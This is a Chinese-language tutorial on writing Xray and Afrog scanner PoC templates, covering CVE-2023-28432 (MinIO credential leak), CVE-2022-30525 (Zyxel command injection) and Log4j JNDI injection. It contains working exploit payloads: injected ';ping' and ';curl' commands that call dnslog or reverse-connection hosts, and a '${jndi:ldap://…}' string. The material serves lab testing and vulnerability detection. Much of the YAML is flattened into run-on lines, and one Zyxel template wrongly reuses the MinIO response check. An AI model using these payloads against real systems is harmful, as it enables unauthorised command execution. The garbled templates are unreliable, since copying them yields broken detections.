目录
Xray&Afrog-Poc开发-环境配置&编写流程
Xray-Poc开发-数据回显&RCE不回显&实验室
Afrog-Poc开发-数据回显&RCE不回显&JDNI注入
HTTP/S数据回显Poc开发-CVE-2023-28432
HTTP/S不回显RCE-Poc开发-CVE-2022-30525
HTTP/S不回显JNDI-Poc开发
知识点:1、Xray&Afrog-Poc开发-环境配置&编写流程
2、Xray-Poc开发-数据回显&RCE不回显&实验室
3、Afrog-Poc开发-数据回显&RCE不回显&JDNI注入
Xray&Afrog-Poc开发-环境配置&编写流程
开发环境:Vscode+Yaml插件
https://code.visualstudio.com/
Xray-Poc开发-数据回显&RCE不回显&实验室
1、开发参考:
xray poc模板生成(类似nuclei bp插件):https://poc.xray.cool/
xray poc官方参考:https://docs.xray.cool/plugins/practice/poc/Template
Xray Poc如何编写:https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw
https://cloud.tencent.com/developer/article/1949351
2、分析技巧:配置config.yaml,使用代理看数据包分析(记得生成证书及安装)
3、调试Poc:
.\xray --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx
第一部分:# 名称部分
name: string
poc名称如:poc-yaml-tongda-oa-rce
第二部分:rules: []Rule # 脚本部分
poc规则:poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string
search: string
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
expression的作用是判断该条Rule的结果
search的作用是从返回包中提取信息
第三部分:# 信息部分
detail: map[string]string
就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
1、有回显匹配结果自动判断-CVE-2023-28432
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
# 名称部分
name: poc-yaml-CVE-2023-28432# 脚本部分
transport: http
rules:r1:request:method: POSTpath: "/minio/bootstrap/v1/verify"headers:Content-Type: application/x-www-form-urlencodedexpression: |response.status==200 && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression:r1()# 信息部分
detail:author: xiaodiseclinks: - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
2、无回显直接写死,观察平台回显判断是否存在漏洞-CVE-2022-30525
https://blog.csdn.net/weixin_43080961/article/details/124776553
name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:r0:request:method: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 nml0kn.dnslog.cn;","data":"hi"}'headers:Content-Type: application/jsonexpression: response.status==200
expression: r0()
detail:author: xiaodiseclinks:- https://blog.csdn.net/weixin_43080961/article/details/124776553
3、反连写法及启动配置(解决无回显RCE及其他)
参考地址:https://blog.csdn.net/m0_60571842/article/details/135591127
name: poc-yaml-CVE-2022-30525
manual: true
set:reverse: newReverse()reverseURL: reverse.urlreverseDomain: reverse.domain
transport: http
rules:r0:request:cache: truemethod: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'headers:Content-Type: application/jsonexpression: reverse.wait(5) //这里的写法决定了工具能不能探测出来
expression: r0()
detail:author: xiaodiseclinks:- http://www.xiaodi8.com
Afrog-Poc开发-数据回显&RCE不回显&JDNI注入
1、开发参考:https://github.com/zan8in/afrog/wiki
2、分析技巧:执行加入参数proxy,使用代理看数据包分析
3、指定Poc:
afrog.exe -t https://xx.xx.xx.xx -P xxxx.yaml
第一部分:id info 编号 信息(类似nuclei)
第二部分:set rules 变量 脚本(类似xray)
第三部分:expression 判断 执行(类似xray)
HTTP/S数据回显Poc开发-CVE-2023-28432
环境:MinIO集群模式信息泄露漏洞(CVE-2023-28432)
https://vulhub.org/#/environments/minio/CVE-2023-28432/
测试:
afrog.exe -t https://xx.xx.xx.xx:xxxx -P minio.yaml
id: CVE-2023-28432
info:name: My PoC demo1author: xiaodisecseverity: critical
rules:r0:request:method: POSTpath: /minio/bootstrap/v1/verifyheaders:Content-Type: application/x-www-form-urlencodedexpression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()
HTTP/S不回显RCE-Poc开发-CVE-2022-30525
环境:某案例 Zyxel 防火墙远程命令注入漏洞
配置:配置afrog-config.yaml ceye对应信息
测试:
afrog.exe -t https://xx.xx.xx.xx:xxxx -P zyxel.yaml
id: CVE-2022-30525
info:name: My PoC demo2author: xiaodisecseverity: critical
rules:r0:request:method: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 cbvq0q.dnslog.cn;","data":"hi"}'headers:Content-Type: application/jsonexpression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()
id: CVE-2022-30525
info:name: My PoC demo3author: xiaodisecseverity: critical
set:reverse: newReverse()reverseURL: reverse.urlreverseDomain: reverse.domainrules:r0:request:method: POSTpath: /ztp/cgi-bin/handlerbody: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'headers:Content-Type: application/jsonexpression: reverse.wait(100) //这里的写法决定了工具能不能探测出来
expression: r0()
这里就会调用自己配置文件里的相关反连平台
HTTP/S不回显JNDI-Poc开发
环境:Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
https://vulhub.org/#/environments/log4j/CVE-2021-44228/
配置:
启动jndi-payload利用:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
afrog-config.yaml
里配置JNDI对应信息
测试:
afrog -t http://192.168.139.128:8983 -P log4j.yaml
id: solr-log4j-rce
info:name: Apache Solr Log4j Remote Code Executionauthor: xiaodisecseverity: criticalverified: truecreated: 2023/10/16
set:reverse: newJNDI()jndiURL: reverse.url.host + reverse.url.path
rules:r0:request:method: GETpath: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=jsonexpression: reverse.jndi(5)
expression: r0()